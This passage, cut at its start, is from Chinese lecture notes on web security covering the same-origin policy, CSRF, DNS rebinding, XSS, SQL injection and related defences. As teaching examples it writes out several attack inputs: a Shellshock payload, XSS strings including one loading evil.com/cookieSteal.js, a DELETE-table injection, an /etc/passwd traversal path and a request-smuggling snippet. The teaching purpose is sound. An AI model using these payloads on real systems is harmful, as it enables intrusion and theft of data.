,网络摄像头,屏幕共享。 - 地理位置信息:浏览器可以通过检查 GPS 单元来确定您的位置。Firefox 还可以通过将您的 WiFi 信息传递给 Google 位置服务来定位您。
-
<canvas>
和 WebGL:位图处理和交互式 2D/3D 图形。 - 原生客户端(NaCl):允许浏览器运行本机代码!
现在网络是一个用于分布式计算的复杂平台!但这对安全性意味着什么?
威胁面非常广!
- 它超过 9000 了!
单个 Web 应用程序现在跨越多种编程语言,操作系统,硬件平台。我可能在 Windows 上运行 Firefox,与运行 Apache 并与 memcached 和 MySQL 进行交互的 Linux 服务器进行交互)。
所有这些组合使得验证端到端的正确性变得困难,甚至理解系统在做什么也变得困难。例如:解析上下文和内容消毒。
<script> var x = 'UNTRUSTED'; </script>
//Single quote breaks out of JS string
//context into JS context
//
//"</script>" breaks out of JS context
//into HTML context
网络规范非常长,非常复杂,偶尔矛盾,并且不断发展。
- 因此,浏览器供应商会做一些与规范大致相似的事情,然后和朋友们一起开玩笑。
- 如果你想了解恐怖,可以去QuirksMode
客户端 Web 应用程序
在本讲座中,我们将专注于 Web 应用程序的客户端。特别是,我们将专注于如何隔离来自不同提供者的内容,这些内容必须存在于同一个浏览器中。
Web 应用程序和传统桌面应用程序之间有很大的区别:桌面应用程序中的位通常来自单个供应商(例如,Microsoft 或 Apple 或 TurboTax),但单个 Web 应用程序包含来自许多不同主体的内容!
http://foo.com/index.html
+--------------------------------------------+
| +--------------------------------------+ |
| | ad.gif from ads.com | |
| +--------------------------------------+ |
| +-----------------+ +------------------+ |
| | Analytics .js | | jQuery.js from | |
| | from google.com | | from cdn.foo.com | |
| +-----------------+ +------------------+ |
| |
| HTML (text inputs, buttons) |
| |
| +--------------------------------------+ |
| | Inline .js from foo.com (defines | |
| | event handlers for HTML GUI inputs) | |
| +--------------------------------------+ |
|+------------------------------------------+|
|| frame: https://facebook.com/likeThis.html||
|| ||
|| +----------------------+ +--------------+||
|| | Inline .js from | | f.jpg from https://
|| | https://facebook.com | | facebook.com |||
|| +----------------------+ +--------------+||
|| ||
|+------------------------------------------+|
| |
问题: 哪些 JavaScript 代码可以访问哪些状态?例如…
- 来自 google.com 的分析代码能否访问来自 cdn.foo.com 的 jQuery 代码中的状态?[似乎可能不好,因为不同的负责人编写了代码,但它们包含在同一个框架中…]
- 是的,它们可以!它们将获得相同的起源。
- 来自 cdn.foo.com 的 jQuery 代码能否访问由 foo.com 定义的内联 JavaScript 代码中的状态?[它们几乎来自同一个地方…]
- 是的,它们可以。它们具有相同的起源。
- 分析代码或 jQuery 能够访问 HTML 文本输入吗?[我们必须以某种方式使内容交互。]
- 是的,包含在框架中的 JS 代码可以与框架的 DOM 交互。
- Facebook 框架中的 JavaScript 能否触及 foo.com 框架中的任何状态?Facebook 框架是 https://,但 foo.com 框架是常规的 http://,这有关系吗?
- 只能使用
postMessage
与其通信 - 不能向 foo.com 发出 AJAX 请求
- 不能对框架执行任何操作
- 只能使用
要回答这些问题,浏览器使用一种称为同源策略的安全模型。
同源策略
- 模糊的目标: 两个不同的网站不应该能够篡改彼此的内容。
- 易于陈述,但难以实现。
- 显然不好:如果我打开两个不同的网站,第一个网站不应该能够覆盖第二个网站的视觉显示。
- 显然好:开发人员应该能够创建结合来自相互合作的网站的内容的混搭网站。
- 例如:一个将 Google 地图数据与房地产数据结合的网站。
- 例如:广告。
- 例如:社交媒体小部件(例如 Facebook 的“赞”按钮)。
- 难以说:如果来自 Web 服务器 X 的页面从不同服务器 Y 下载 JavaScript 库,那么该脚本应该具有什么功能?
- 同源策略的基本策略: 浏览器为页面中的每个资源分配一个起源,包括 JavaScript 库。JavaScript 代码只能访问属于其起源的资源。
- 一个起源的定义:
scheme + hostname + port
- 例如:
- http://foo.com/index.html(http,foo.com,80 [隐式])
- https://foo.com/index.html(https,foo.com,443 [隐式])
- http://bar.com:8181/index.html(http,bar.com,8181)
- 方案可以是
http, https, ftp, file
等。
- 例如:
- 四个主要思想:
- 每个起源都与客户端资源相关联(例如 cookies、DOM 存储、JavaScript 命名空间、DOM 树、窗口、视觉显示区域、网络地址)。
- 一个起源在 Unix 世界中是 UID 的道德等价物。
- 每个框架都获得其 URL 的起源。
- 一个框架在 Unix 中是一个进程的道德等价物。
- 由框架包含的脚本以该 HTML 文件起源的权限执行。这对内联脚本和从外部域拉取的脚本都是正确的!
- Unix 类比:运行存储在别人家目录中的二进制文件。
- 被动内容(例如图片和 CSS)不能执行代码,因此此内容被赋予零权限。
- 每个起源都与客户端资源相关联(例如 cookies、DOM 存储、JavaScript 命名空间、DOM 树、窗口、视觉显示区域、网络地址)。
- 回到我们的例子:
- Google 分析脚本和 jQuery 脚本可以访问属于 foo.com 的所有资源(例如,它们可以读取和写入 cookie,附加事件处理程序到按钮,操作 DOM 树,访问 JavaScript 变量等)。
- Facebook 框架中的 JavaScript 代码无法访问 foo.com 框架中的资源,因为这两个框架具有不同的来源。这两个框架只能通过 postMessage()进行通信,这是一个允许域交换不可变字符串的 JavaScript API。
- 如果两个框架在相同的来源中,它们可以使用 window.parent 和 window.frames[]直接与彼此的 JavaScript 状态交互!
- Facebook 框架中的 JavaScript 代码不能向 foo.com 的服务器发出 XMLHttpRequest [网络是一个具有来源的资源!] …
- … 然而,Facebook 框架可以从 foo.com 导入脚本、CSS 或图像(尽管该内容只能更新 Facebook 框架,因为内容继承了 Facebook 来源的权限,而不是 foo.com 来源)。
- 浏览器检查 ad.gif 的类型,确定 ad.gif 是一个图像,并得出结论该图像根本不应具有任何权限。
如果浏览器错误地识别对象的 MIME 类型会发生什么?
- 旧版本的 IE 曾经进行 MIME 嗅探。
- 目标:检测当 web 服务器给对象分配了错误的文件扩展名时(例如,foo.jpg 实际上应该是 foo.html)。
- 机制:IE 查看文件的前 256 个字节,并查找指示文件类型的魔术值。如果魔术值与文件扩展名不一致,IE 会信任文件扩展名。
- 问题:假设一个页面包含来自受攻击者控制的域的一些被动内容(例如,一个图像)。受害页面认为安全导入被动内容,但攻击者可以故意在图像中放入 HTML+JavaScript 并在受害页面中执行代码!
- 结论:浏览器是复杂的—添加一个出于善意的功能可能会导致微妙且意想不到的安全漏洞。
让我们更深入地了解浏览器如何保护各种资源。
框架/窗口对象
- 注意:框架对象是 HTMLIFrameElement 类型的 DOM 节点,而 window 对象是全局 JavaScript 命名空间的别名。
- 两个对象相互引用。
- 获取它们框架 URL 的来源
-或-
获取**调整后的
document.domain
**的来源- 一个框架的
document.domain
最初是从 URL 中正常派生的。 - 一个框架可以将
document.domain
设置为完整域的后缀。例如:- x.y.z.com
// 原始值
- y.z.com
// 允许的新值
- z.com
// 允许的新值
- a.y.z.com
// 不允许
- .com
// 不允许
- x.y.z.com
- 浏览器区分已写入的
document.domain
和未写入的document.domain
,即使两者的值相同! - 两个框架可以相互访问,如果:
- 他们都将
document.domain
设置为相同的值,或者 - 两者都没有更改
document.domain
(并且这些值在两个框架中是相等的)
- 他们都将
- 这些规则有助于保护网站免受由有缺陷/恶意子域名攻击的风险,例如,
x.y.z.com
试图通过缩短其document.domain
来攻击y.z.com
。
- 一个框架的
DOM 节点
- 获取其周围框架的来源
Cookies
- 一个 cookie有一个域和一个路径。例如:
*.mit.edu/6.858/
- 域名只能是页面当前域名的(可能是完整的)后缀。
- 路径可以是“/”,表示该域中的所有路径都可以访问该 cookie。
- 设置 cookie 的人可以指定域和路径。
- 可以通过服务器使用标头设置,也可以通过写入
document.cookie
的 JavaScript 代码设置。 - "secure"标志也可以表示仅限 HTTPS 的 cookie。
- 可以通过服务器使用标头设置,也可以通过写入
- 浏览器将 cookie 保存在客户端磁盘上(除了 cookie 过期、临时 cookie 等)。
- 在生成 HTTP 请求时,浏览器会在请求中发送所有匹配的 cookie。
- 仅为 HTTPS 请求发送安全 cookie。
- JavaScript 代码可以访问与代码来源匹配的任何 cookie,但请注意,cookie 的路径和来源的端口将被忽略!
- 协议很重要,因为 HTTP JavaScript 无法访问 HTTPS cookie(尽管 HTTPS JavaScript 可以访问两种类型的 cookie)。
- *注意:*还有http-only cookies,JS 代码无法直接访问。这些 cookie 只会随着匹配的 HTTP 请求由浏览器发送。
- **问:**为什么重要保护 cookie 免受任意覆写?
- **A:**如果攻击者控制了一个 cookie,攻击者可以强制用户使用受攻击者控制的帐户!
- 例如:通过控制 Gmail 的 cookie,攻击者可以重定向用户到一个受攻击者控制的帐户,并读取从该帐户发送的任何电子邮件。
- **问:**foo.co.uk 设置 cookie 的域为 co.uk 有效吗?
- **A:**根据我们迄今讨论的规则,这是有效的,但实际上,我们应该禁止这样做,因为“.co.uk”在语义上类似于“.com”这样的单一“原子”域。
- Mozilla 维护一个公共列表,允许浏览器确定顶级域的适当后缀规则。请参阅PublicSuffix。
HTTP 响应:对同源策略有许多例外和半例外
- XMLHttpRequests:默认情况下,JavaScript 只能向其来源服务器发送 XMLHttpRequests…除非远程服务器启用了跨域资源共享(CORS)。该方案定义了一些新的 HTTP 响应头:
- Access-Control-Allow-Origin 指定哪些来源可以查看 HTTP 响应。
- Access-Control-Allow-Credentials 指定浏览器是否应接受来自外部来源的 HTTP 请求中的 cookie。
- **图片:**一个框架可以从任何来源加载图像
- … 但它不能查看图像像素…
- … 但它可以确定图像的大小。
- **CSS:**与图像类似–一个框架不能直接读取外部 CSS 文件的内容,但可以推断出一些属性。
- JavaScript: 一个框架可以从任何来源加载 JavaScript,但它不能直接检查
<script>
标签/XMLHttpRequest 响应主体中的源代码,但所有 JavaScript 函数都有一个公共的toString()
方法,可以显示源代码,页面的主服务器始终可以直接获取源代码然后传递给页面!- 为了防止逆向工程,许多网站都会对其 JavaScript 进行缩小和混淆。
- 插件:一个框架可以运行来自任何来源的插件。
例子:
<embed src=...> //Requires plugin-specific
//elaborations.
跨站点请求伪造攻击
请记住,当浏览器生成 HTTP 请求时,它会自动包含相关的 cookie。
如果攻击者让用户点击这样的 URL 会发生什么?* http://bank.com/xfer?amount=500&to=attacker
这种攻击被称为跨站点请求伪造(CSRF)。
解决方案:在 URL 中包含一些对攻击者难以猜测的随机数据。例如:
<form action="/transfer.cgi" ...>
<input type="hidden"
name="csrfToken"
value="a6dbe323..."/>
每当用户请求页面时,服务器都会生成带有新随机令牌的 HTML。当用户提交请求时,服务器会在实际处理请求之前验证令牌。
缺点:如果指向同一对象的每个 URL 都是唯一的,那么缓存该对象就会变得困难!
DNS 重绑定攻击
网络地址几乎都有一个来源。
- 一个框架可以向与其来源匹配的主机+端口发送 HTTP 和 HTTPS 请求。
- 注意,同源策略的安全性取决于DNS 基础设施的完整性!
- DNS 重绑定攻击
- 目标: 攻击者希望以他不控制的来源(victim.com)的权限运行受攻击者控制的 JavaScript 代码。
- 方法:
- 攻击者注册一个域名(例如,attacker.com)并创建一个 DNS 服务器来响应相关查询。
- 用户访问 attacker.com 网站,例如,通过点击广告。
- 攻击者网站希望下载一个对象,但首先,浏览器必须为 attacker.com 发出 DNS 请求。攻击者的 DNS 服务器会响应一个指向攻击者 IP 地址的 DNS 记录。然而,记录的生存时间很短。
- 攻击者将 attacker.com 重新绑定到 victim.com 的 IP 地址。
- 一会儿,攻击者网站创建一个连接到 attacker.com 的 XMLHttpRequest。该请求实际上将被发送到 victim.com 的 IP 地址! 浏览器不会抱怨,因为它会重新验证 DNS 记录并看到新的绑定。
- 好吧,但是请求将不会携带正确的 cookie 给 victim.com,因为浏览器仍然认为它们正在与 attacker.com 交互,对吧?
- 那么 HTTP 请求中的
Host:
头部不会指示 attacker.com 吗,所以 victim.com 的 web 服务器可以拒绝请求。 - 攻击者页面现在可以窃取数据,例如,使用 CORS XMLHttpRequest 发送到攻击者域。
- 解决方案:
- 修改 DNS 解析器,使外部主机名永远不能解析为内部 IP 地址。
- 浏览器可以固定 DNS 绑定,而不考虑其 TTL 设置。但是,这可能会破坏使用动态 DNS(例如,用于负载平衡)的 Web 应用程序。
屏幕上的像素怎么办?
- 它们没有来源!框架可以在其边界框内的任何地方绘制。
- 问题:父框架可以在其子框架的像素上方叠加内容。
- 例如:攻击者创建了一个页面,上面有一个诱人的按钮,如“点击这里领取免费 iPad!”在该按钮上方,页面创建了一个包含 Facebook“赞”按钮的子框架。攻击者将该按钮放在“免费 iPad”按钮上方,但使其透明!因此,如果用户点击“免费 iPad”按钮,实际上会在 Facebook 上“赞”攻击者的页面。
- 解决方案
- **防框架代码:**包含阻止您的页面被包含为框架的 JavaScript:
if(top != self)
- 让你的网络服务器发送
X-Frame-Options
HTTP 响应头。这将指示浏览器不将您的内容放在子框架中。
- **防框架代码:**包含阻止您的页面被包含为框架的 JavaScript:
那些没有来源的框架 URL 怎么办?*例如:+ file://foo.txt + about:blank + javascript:document.cookie=“x” *有时框架只能被具有该协议的其他框架访问(例如,file://)。[如果您正在调试一个站点并且想要混合使用 file://和 http://内容,这可能会很烦人]。*有时框架对所有其他来源都是不可访问的(例如,“about:”)。*有时来源是从创建 URL 的人那里继承的(例如,“javascript:”)。这可以防止攻击者.com 创建属于 victim.com 的框架,然后将 victim 框架导航到 javascript: URL–我们不希望 JavaScript 在 victim.com 的上下文中执行!
DNS 名称可以被用作攻击向量
- IDN:国际化域名(非拉丁字母)。
- 支持更多语言是好事,但现在,用户很难区分两个域名。
- 例如:西里尔字母“C”字符看起来像拉丁字母“C”字符!因此,攻击者可以购买一个类似于“cats.com”的域名(带有西里尔字母“C”),并欺骗那些认为他们要访问“cats.com”(拉丁字母“C”)的用户。
- 很好的例子说明了新功能如何破坏了安全假设。
- 浏览器供应商认为注册商将禁止模糊名称。
- 注册商认为浏览器供应商将更改浏览器以执行某些操作。
插件
通常具有略有不同的安全策略。
- Java:有点使用同源策略,但 Java 代码可以设置 HTTP 头(不好!参见“Content-Length”讨论),在某些情况下,具有相同 IP 地址的不同主机名被认为共享相同的来源。
- Flash:开发人员在其网络服务器上放置一个名为
crossdomain.xml
的文件。该文件指定哪些来源可以通过 Flash 与服务器通信。
HTML5 引入了一个新的屏幕共享 API:一旦用户授予权限,站点就可以捕获整个可见屏幕区域并将其传输回站点的来源。
- 因此,如果攻击者页面能说服用户授予屏幕共享权限,攻击者页面可以打开一个到敏感站点(例如银行、Facebook、电子邮件)的 iframe,并捕获屏幕内容!
- iframe 将发送 cookie,因此用户将自动登录,使攻击者能够查看“真实”信息,而不是无聊的登录页面内容。
- 攻击者可以使 iframe 仅短暂闪烁,以防止用户注意到恶作剧。
- 可能的防御措施:
- 允许用户只共享 DOM 树的一部分?这似乎会很繁琐且容易出错。
- 只允许一个来源从自己的来源中截取内容?这似乎是一个更合理的方法,尽管它阻止了混搭。
- 更多讨论:攻击利用 HTML5 屏幕共享 API 的论文
结论
自从《混乱的网络》以来,对整体网络堆栈进行了各种修改和添加。
- 一般来说,事情变得更加复杂,这通常对安全性不利。
- 以下是一些新功能的参考:
- 内容安全策略
- 严格传输安全
- 跨域资源共享
- HTML5 iframe 沙盒属性 [http://msdn.microsoft.com/en-us/hh563496.aspx]
浏览器安全模型显然一团糟。它非常复杂,包含许多微妙和不一致之处。
- Q: 为什么不从头开始重写安全模型?
- A1: 向后兼容性!有大量现有的网络基础设施供人们依赖。
- A2: 我们如何知道新的安全模型是否足够表达?用户通常不会接受为了增加安全性而减少功能。
- A3: 任何安全模型都可能注定失败—也许所有流行的系统都注定会随着时间的推移积累大量功能。[例如:文字处理程序,智能手机。]
- 更好的设计可能是什么样子?
- 严格隔离大使馆—即使在本地,一切都是网络消息 [https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final85.pdf]
- 不要让策略提取和执行依赖于复杂的解析规则(记住我们的消毒示例)
- 只以小的、明确定义的量增加功能,最小化实现错误或解释错误的空间—消除歧义和猜测的需要。
网络安全,第二部分
注意: 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记稍作修改而来。
在上一讲中,我们看了一下网络的核心安全机制:同源策略。
在本讲座中,我们将继续探讨如何构建安全的网络应用程序。
“Shell shock”类似的利用
最近的“Shell Shock”漏洞是一个很好的例子,说明设计组合多种技术的网络服务是多么困难。
网页客户端可以在其 HTTP 请求中包含额外的标头,并确定请求中的查询参数。例如:
GET /query.cgi?searchTerm=cats HTTP 1.1
Host: www.example.com
Custom-header: Custom-value
CGI 服务器将 HTTP 请求的各个组件映射到 Unix 环境变量。
漏洞: Bash 在处理环境变量设置时存在解析错误!如果一个字符串以一组特定的格式不正确的字节开头,bash 将继续解析字符串的其余部分并执行找到的任何命令!例如,如果您将环境变量设置为这样的值…
() { :;}; /bin/id
…将混淆 bash 解析器,并导致执行/bin/id
命令(显示当前用户的 UID 和 GID 信息)。
实时演示:
Step 1: Run the CGI server. ./victimwebserver.py 8082
Step 2: Run the exploit script.
./shellshockclient.py localhost:8082 index.html
更多信息:http://seclists.org/oss-sec/2014/q3/650
跨站脚本攻击(XSS 攻击)
Shell Shock 是一种由不当内容消毒引起的安全漏洞的特定实例。另一种内容消毒失败发生在跨站脚本攻击(XSS)期间。
例如:假设一个 CGI 脚本在生成的 HTML 中嵌入了一个查询字符串参数。
演示:
Step 1: Run the CGI server.
./cgiServer.py
Step 2: In browser, load these URLs:
http://127.0.0.1/cgi-bin/uploadRecv.py?msg=hello
http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<b>hello</b>
http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<script>alert("XSS");</script>
//The XSS attack doesn't work for this one . . .
//we'll see why later in the lecture.
http://127.0.0.1/cgi-bin/uploadRecv.py?msg=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
//This works! [At least on Chrome 37.0.2062.124.]
//Even though the browser caught the
//straightforward XSS injection, it
//incorrectly parsed our intentionally
//malformed HTML.
// [For more examples of XSS exploits via
// malformed code, go here:
// https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
// ] </code></pre></div></div><p>为什么跨站脚本攻击如此普遍?</p><ul class="ul-level-0"><li> 动态网站在 HTML 页面中包含用户内容(例如,评论部分)。
网站托管上传的用户文档。
- HTML 文档可以包含任意的 Javascript 代码!
- 非 HTML 文档可能被浏览器识别为 HTML。
不安全的 Javascript 程序可能直接执行来自外部方的代码(例如,eval(),setTimeout()等)。
XSS 防御
Chrome 和 IE 具有内置功能,使用启发式方法检测潜在的跨站脚本攻击。
- 例如:请求获取封闭页面的请求中是否包含即将执行的脚本?
http://foo.com?q=<script src="evil.com/cookieSteal.js"/>
- 如果是这样,这是有力的证据表明即将发生可疑事件!上述攻击称为“反射型 XSS 攻击”,因为服务器“反射”或“返回”攻击者提供的代码到用户的浏览器中,在受害页面的上下文中执行。
- 这就是为什么我们在 CGI 示例中的第一个 XSS 攻击失败了–浏览器检测到 URL 中反射的 JavaScript,并在到达 CGI 服务器之前删除了末尾的
</script>
。
- 然而…
- 过滤器并不具有 100%的覆盖率,因为有许多编码 XSS 攻击的方式![https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]
- 这就是为什么我们的第二个 XSS 攻击成功了—浏览器被我们故意格式不正确的 HTML 搞糊涂了。
- 问题:过滤器无法捕获持久性 XSS 攻击,在这种攻击中,服务器保存了攻击者提供的数据,然后永久分发给客户端。
- 经典例子:一个允许用户发布 HTML 消息的 “评论” 部分。
- 另一个例子:假设一个约会网站允许用户在他们的个人资料中包含 HTML。攻击者可以添加 HTML,当用户查看攻击者的个人资料时,会在不同的用户浏览器中运行!攻击者可以窃取用户的 cookie。
另一个 XSS 防御:“httponly” cookies.
- 服务器可以告诉浏览器,客户端 JavaScript 不应该能够访问 cookie。[服务器通过在 “Set-Cookie” HTTP 响应值中添加 “HttpOnly” 令牌来实现这一点。]
- 这只是部分防御,因为攻击者仍然可以发出包含用户 cookie 的请求(CSRF)。
特权分离: 使用一个单独的域来存放不受信任的内容。
- 例如,Google 将不受信任的内容存储在
googleusercontent.com
中(例如,页面的缓存副本,Gmail 附件)。
- 即使在不受信任的内容中可能存在 XSS,攻击者的代码也会在不同的来源中运行。
- 如果 googleusercontent.com 中的内容指向 google.com 中的 URL,则仍可能存在问题。
内容消毒: 将不受信任的内容编码,以限制其解释方式。
- 例如:Django 模板: 将输出页面定义为一堆 HTML,其中有一些 “孔” 可以插入外部内容。
- Django 中的自动 HTML 转义
- 一个模板可能包含这样的代码…
<b>你好 {{ name }} </b>
- … 其中 “name” 是一个变量,在页面被 Django 模板引擎处理时被解析。该引擎将获取 “name” 的值(例如,从用户提供的 HTTP 查询字符串中),然后自动转义危险字符。例如,
- 尖括号
<
和 >
--> <
和 >
- 双引号
" --> "
- 这可以防止不受信任的内容将 HTML 注入到渲染页面中。
- 模板不能防御所有攻击!例如…
-
<div class={{ var }}>...</div>
- 如果
var
等于 class1 onmouseover=javascript:func()
- … 那么根据浏览器解析格式不正确的 HTML 的方式,可能会发生 XSS 攻击。
- 因此,内容消毒有点奏效,但解析 HTML 的方式非常难以明确。
- 可能更好的方法:完全禁止外部提供的 HTML,并强制外部内容用一种更小的语言表达(例如,Markdown)。
- 经过验证的 Markdown 可以被转换为 HTML。
内容安全策略(CSP): 允许 Web 服务器告诉浏览器可以加载哪种资源,以及这些资源的允许来源。
服务器指定一个或多个类型为Content-Security-Policy
的头部。
代码语言:javascript复制Content-Security-Policy: default-src 'self' *.mydomain.com
// Only allow content from the page's domain
// and its subdomains.
您可以为图像来源、脚本来源、框架、插件等指定单独的策略。
CSP 还防止内联 JavaScript,以及像eval()
这样允许动态生成 JavaScript 的 JavaScript 接口。
一些浏览器允许服务器禁用内容类型嗅探(X-Content-Type-Options: nosniff
)。
SQL 注入攻击
- 假设应用程序需要根据用户输入发出 SQL 查询:
query = "SELECT * FROM table WHERE userid=" + userid
- 问题:对手可以提供改变 SQL 查询结构的
userid
,例如,
"0; DELETE FROM table;"
- 如果我们在 userid 周围添加引号会怎样?
query = "SELECT * FROM table WHERE userid='" + userid + "'"
- 漏洞仍然存在!攻击者可以在
userid
的第一个字节前添加另一个引号。
- **真正的解决方案:**明确地对数据进行编码。
- 例如:用’替换’等。
- SQL 库提供转义函数。
- Django 定义了一个查询抽象层,位于 SQL 之上,允许应用程序避免编写原始 SQL(尽管如果他们真的想要,也可以这样做)。
- (可能是假的)德国车牌上写着“;DROP TABLE”,以避免使用 OCR+SQL 的超速摄像头提取车牌号。
如果不受信任的实体可以提供文件名,也会遇到问题。
- 例如:假设一个 Web 服务器根据用户提供的参数读取文件。
-
open("/www/images/" + filename)
问题:文件名可能是这样的:
-
../../../../../etc/passwd
- 与 SQL 注入一样,服务器必须对用户输入进行清理:服务器必须拒绝带有斜杠的文件名,或以某种方式对斜杠进行编码。
Django
- 颇受欢迎的 Web 框架,被一些大型网站如 Instagram、Mozilla 和 Pinterest 使用。
- “Web 框架”是一个提供基础设施的软件系统,用于诸如数据库访问、会话管理和创建可在整个站点中使用的模板内容的任务。
- 其他框架更受欢迎:PHP、Ruby on Rails。
- 在企业世界中,Java servlets 和 ASP 也被广泛使用。
- Django 开发人员在安全方面进行了一定程度的思考。
- 因此,Django 是一个很好的案例研究,可以看到人们如何在实践中实现 Web 安全。
- Django 在安全方面可能比一些替代方案如 PHP 或 Ruby on Rails 更好,但细节决定成败。
- 正如我们将在两次讲座后讨论的那样,研究人员发明了一些提供明显更好安全性的框架。[Ur/Web:http://www.impredicative.com/ur/]
会话管理:cookie
Web 上客户端身份验证的 Do’s 和 Don’ts
Zoobar、Django 和许多 Web 框架在 cookie 中放入一个随机会话 ID。
- 会话 ID 指的是 Web 服务器上某个会话表中的条目。该条目存储了一堆每个用户的信息。
- 会话 cookie 是敏感的:对手可以使用它们来冒充用户!
- 正如我们在上一堂课上讨论的,同源策略有助于保护 cookie……
- …但是不应该与您不信任的站点共享域!否则,这些站点可能发起会话固定攻击:
- 在Wikipedia, 会话固定上了解更多信息。
- 攻击者让受害者访问一个链接或一个设置攻击者指定的会话 ID 在受害者 cookie 中的网站。
- 攻击者可以利用接受来自查询字符串的任何会话标识符的服务器,并给受害者一个类似
lol.com/?PHPSID=abcd
的 URL。
- 会话 ID 可以由攻击者选择或在攻击者登录时由服务器返回。
- 或者,攻击者可以利用浏览器漏洞,允许
a.example.com
为b.example.com
设置 cookie。攻击者让受害者访问他的网站b.website.com
,为受害者的a.website.com
设置 cookie。
- 用户导航到受害者网站;攻击者选择的会话 ID 被发送到服务器并用于识别用户的会话条目。
- 后来,攻击者可以使用攻击者选择的会话 ID 导航到受害者网站,并访问用户的状态!
- 这里有一个很大的假设。这种攻击只对没有注意到他们登录的账户不是自己的无知受害者有效。
- 嗯,但是如果我们不想为每个已登录用户保留服务器端状态怎么办?
无状态 cookie
如果您没有会话的概念,那么您需要对每个请求进行身份验证!
想法: 使用密码学验证 cookie。
原语:消息认证码(MACs)
- 将其视为一个带有密钥的哈希,例如,
HMAC-SHA1: H(k, m)
- 客户端和服务器共享一个密钥;客户端使用密钥生成消息,服务器使用密钥验证消息。
AWS S3 REST 服务使用这种类型的 cookie:REST Authentication。
亚马逊为每个开发者提供一个 AWS 访问密钥 ID 和一个 AWS 秘密密钥。每个请求看起来像这样:
代码语言:javascript复制 GET /photos/cat.jpg HTTP/1.1
Host: johndoe.s3.amazonaws.com
Date: Mon, 26 Mar 2007 19:37:58 +0000
Authorization: AWS AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
|___________________| |________________________|
Access key ID MAC signature
这是签名的内容(这里稍微简化了,查看上面的链接获取完整故事):
代码语言:javascript复制 StringToSign =
HTTP-Verb + "\n" +
Content-MD5 + "\n" +
Content-Type + "\n" +
Date + "\n" +
ResourceName
请注意,这种类型的 cookie 不会在传统意义上过期(尽管如果亚马逊已经撤销用户的密钥,服务器将拒绝请求)。
您可以在特定请求中嵌入一个“过期”字段,然后将该 URL 交给第三方,如果第三方等待时间过长,AWS 将拒绝请求并标记为过期。
代码语言:javascript复制 AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Signature=vjbyPxybd...
|__________________|
Included in the string
that's covered by the
signature!
请注意,用于字符串到哈希的格式应提供明确的解析!
- 例如:不应允许任何组件嵌入转义字符,否则服务器端解析器可能会混淆。
问: 如何使用这种类型的 cookie 设计注销?答: 如果服务器是无状态的(关闭会话将需要一个服务器端的撤销 cookie 表),那是不可能的。
- 如果服务器可以保持状态,会话 ID 会使这变得更简单。
- 在减少服务器端内存状态和增加服务器端加密计算开销之间存在根本的权衡。
用于会话管理的 cookie 替代方案
- 使用HTML5 本地存储,并在 Javascript 中实现自己的身份验证。
- 一些 Web 框架像 Meteor 这样做。
- 优势:cookie 不会通过网络发送到服务器。
- 优势:您的身份验证方案不受复杂的同源策略对 cookie 的限制(例如,DOM 存储绑定到单个源,而 cookie 可以绑定到多个子域)。
- 客户端 X.509 证书。
- 优势:Web 应用程序无法窃取或明确操纵彼此的证书。
- **缺点:**对吊销的故事说法不够强(我们将在未来的讲座中更多地讨论这个问题)。
- **缺点:**用户不想为访问的每个站点管理证书,使用体验差!
- **利弊:**没有会话的概念,因为证书是"始终开启"的。对于重要操作,应用程序将不得不提示输入密码。
HTTP 协议模糊性
Web 栈存在一些协议模糊性,可能导致安全漏洞。
来自 XMLHttpRequest 的 HTTP 标头注入
Javascript 可以要求浏览器在请求中添加额外的标头。那么,如果我们这样做会发生什么呢?
代码语言:javascript复制 var x = new XMLHttpRequest();
x.open("GET", "http://foo.com");
x.setRequestHeader("Content-Length", "7");
// Overrides the browser-computed field!
x.send("Gotcha!\r\n" +
"GET /something.html HTTP/1.1\r\n" +
"Host: bar.com");
服务器在 foo.com 上可能会将其解释为两个单独的请求!稍后,当浏览器接收到第二个请求时,它可能会用来自 foo.com 的内容覆盖属于 bar.com 的缓存条目!
**解决方案:**防止 XMLHttpRequest 设置敏感字段如 Host:
或 Content-Length
。
**要点:**明确的编码至关重要!构建可靠的转义/编码!
URL 解析(“The Tangled Web” 第 154 页)
- Flash 的 URL 解析器与浏览器略有不同。
- 假设 URL 是 http://example.com:80@foo.com/
- Flash 会将来源计算为 “example.com”。
- 浏览器会将来源计算为 “foo.com”。
- **不好的主意:**复杂的解析规则只是为了确定主体。
- **不好的主意:**重新实现复杂的解析代码。
这是一个滑稽/可怕的发起攻击的方式,使用存储在 .jar 格式中的 Java applet。
2007 年,Lifehacker.com 发布了一篇文章,描述了如何将 .zip 文件隐藏在 .gif 文件中。
利用图像渲染器自上而下处理文件的事实,而 .zip 文件的解压缩器通常从末尾开始向上移动。
攻击者意识到 .jar 文件基于 .zip 格式!
**因此 GIFAR 诞生了:**一半 gif,一半 jar,全是邪恶。
制作 GIFAR 非常简单:只需在 Linux 上使用 “cat” 或在 Windows 上使用 “cp”。
假设 target.com 仅允许外部方上传图像对象。攻击者可以上传一个 GIFAR,而该 GIFAR 将通过 target.com 的图像验证测试!
然后,如果攻击者能够发起 XSS 攻击,攻击者可以注入引用 “.gif” 的 HTML 作为 applet。
代码语言:javascript复制 <applet code="attacker.class"
archive="attacker.gif"
...>
浏览器将加载该小程序并赋予其 target.com 的权限!
隐蔽信道攻击
Web 应用程序也容易受到隐蔽信道攻击的影响。
- 隐蔽信道 是一种机制,允许两个应用程序交换信息,即使安全模型禁止这些应用程序通信。
- 该信道是“隐蔽”的,因为它不使用官方的跨应用程序通信机制。
- 示例 #1:基于 CSS 的嗅探攻击
- 攻击者有一个可以说服用户访问的网站。
- 攻击者目标: 弄清楚用户访问过的其他网站(例如,确定用户的政治观点、医疗历史等)。
- 利用向量: 网页浏览器使用不同的颜色来显示已访问与未访问的链接!因此,攻击页面可以生成一个候选 URL 的大列表,然后检查颜色以查看用户是否访问过其中任何一个。
- 每秒可以检查数千个 URL!
- 可以先广度优先,找到顶级域的命中,然后对每个命中进行深度优先。
- 修复: 强制 getComputedStyle() 和相关的 JavaScript 接口始终表示链接未访问。[https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/]
